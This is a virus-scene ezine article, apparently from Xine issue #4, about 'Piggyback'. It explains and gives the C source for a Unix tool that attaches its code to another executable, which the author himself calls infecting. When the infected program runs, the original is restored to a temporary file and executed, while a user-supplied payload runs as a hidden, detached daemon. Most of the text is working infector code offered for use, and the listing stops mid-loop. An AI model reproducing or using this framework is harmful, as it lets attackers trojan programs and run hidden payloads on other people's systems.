/-----------------------------\ | Xine - issue #4 - Phile 110 | \-----------------------------/ *********** Piggyback *********** This is a small tool used to append executable code to an exiting program (virus writers would call it "to infect"). The idea used by piggyback is very simple and rather portable among different Unices. Piggyback itself is a small program in C that takes the place of the "victim", which is copied after the piggyback code. At the real end is stored a long which is the lenght of the piggyback executable. You can see how does the file look like once "infected" on this nice ascii picture: +---------+ | | | | ~ N bytes ~ Piggyback code | | | | +---------+ | | | | ~ M bytes ~ Victim code | | | | +---------+ | 4 bytes | | on 32 | Piggyback len. = N | bits | | arch. | +---------+ On execution the old file is copied to a temporany file and executed along with a payload code compiled in piggyback. To use piggyback you just write the payload function and compile. If you don't want problems with shared libraries use the -static flag (under gcc). Then just do: ./piggyback [name of executable to infect] Let's have a close look at the inner working of piggyback. We analyze each function in turn. payload: This is the payload code that you must write! :-) find_fullname: The argument argv[0] passed to main contains the name of the executable, but it's not standard among different Unices. So this functions tries to transform ts input to an usable path. It first check for an relative or absolute path (like "./run", "exe/run" or "/bin/run") or looks for the executable file in the directories listed in the PATH enviroment variable. copy_file: This helper function just copies data from the second stream to the first. restore: In this function the victim is restored to a temporany file. The steps taken are: 1) we ask for a temporany file. 2) look for the length of piggyback code. 3) skip it and copy the victim code to the temporany file. 4) take care of execution permission. piggyback: Here we "infect" a given executable. We just mess with piggyback and victim code to achieve the structure presented in the picture. main: A big if clearly shows that there are 2 use of this function. If we are called as piggyback, we just look for a parameter containing the victim name and do our job. Otherwise we restore the victim and fork 2 processes: 1) One is the victim itself. Here we need anothe subprocess to clear the temporany file when the victim is done. 2) The payload, which is started as a daemon. Take a look at the Unix Programmes FAQ for an explanation of steps taken. The code before calling payload() assures that the payload won't be killed by HUP signals, won't block directories inodes, and closes it's standard descriptors. The double fork() is needed to prevent zombie processes. So, here it is. I hope you will find piggyback a useful tool! /* Piggyback by Kernel Panik Compile with: cc piggyback.c -o piggyback strip piggyback If you want a static executable just -static (for gcc). */ #include #include #include #include #include #include #include #include #include #include #define BUF_SIZE 30000 /* payload tha is started with old executable */ void payload(void) { } /* this functions finds the fullname in from atgv[0], hopefully :-) */ int find_fullname(char *full,char *partial) { if (strchr(partial,'/')) { if (partial[0]=='/') strcpy(full,"/"); else strcpy(full,"./"); strcat(full,partial); return 1; } else { char *next; char *path=getenv("PATH"); char cp[PATH_MAX]; FILE *f; do { next=strchr(path,':'); if (next) { strncpy(cp,path,next-path); cp[next-path]='\0'; path=next+1; } else { strcpy(cp,path); } strcat(cp,"/"); strcat(cp,partial); if ((f=fopen(cp,"r"))) { fclose(f); strcpy(full,cp); return 1; } } while (next); } return 0; } /* a simple function that copies file i to file o */ void copy_file(FILE *o, FILE *i) { char b[BUF_SIZE]; int l; while ((l=fread(b,sizeof(char),BUF_SIZE,i))>0) { fwrite(b,sizeof(char),l,o); } } /* here we restore the exec we are rideing to a temp file */ int restore(char *full, char *out) { FILE *fin, *fout; long offset; tmpnam(out); fout=fopen(out,"w"); fin=fopen(full,"r"); fseek(fin,-sizeof(long),SEEK_END); fread(&offset,sizeof(long),1,fin); fseek(fin,offset-1,SEEK_SET); copy_file(fout,fin); fclose(fin); fclose(fout); chmod(out,S_IRUSR|S_IWUSR|S_IXUSR); return 1; } /* the real piggybacking code */ int piggyback(char *fn, char *me) { char tmp[PATH_MAX]; FILE *ffn, *ftmp, *fme; long len; tmpnam(tmp); if (!((ftmp=fopen(tmp,"w")) && (ffn=fopen(fn,"r")))) return 1; copy_file(ftmp,ffn); fclose(ftmp); fclose(ffn); if (!(ffn=fopen(fn,"w"))) { remove(tmp); return 2; } ftmp=fopen(tmp,"r"); fme=fopen(me,"r"); copy_file(ffn,fme); copy_file(ffn,ftmp); len=ftell(fme)+1; fwrite(&len,sizeof(long),1,ffn); fclose(ffn); fclose(fme); fclose(ftmp); remove(tmp); return 0; } int main (int argc, char *argv[]) { char fullname[PATH_MAX]; /* our full name */ char outname[PATH_MAX]; /* program to be started */ char **newarg, *name; int fd,i,status; if ((name=strrchr(argv[0],'/'))) name++; else name=argv[0]; if (!strcmp(name,"piggyback")) { /* we are not already piggybacked*/ if (argc!=2) { printf("Syntax: %s [filename]\n",argv[0]); exit(3); } if (!find_fullname(fullname,argv[0])) { printf("Cannot find myself: %s\n",argv[0]); exit(5); } if (piggyback(argv[1],fullname)>0) { printf("Syntax: Cannot piggyback %s:\n%s\n",argv[1],strerror(errno)); exit(4); } } else { /* this is piggybacked code! */ if (!find_fullname(fullname,argv[0])) { exit(1); } if (!restore(fullname,outname)) { exit(2); } /* our payload will run like a daemon */ if (fork()==0) { setsid(); if(fork()==0) { chdir("/"); umask(0); close(0);close(1);close(2); fd=open("/dev/null",O_RDWR); fd=open("/dev/null",O_RDWR); fd=open("/dev/null",O_RDWR); payload(); exit(0); } else exit(0); } wait(&status); newarg=malloc(sizeof(char*)*(argc+1)); for(i=0;i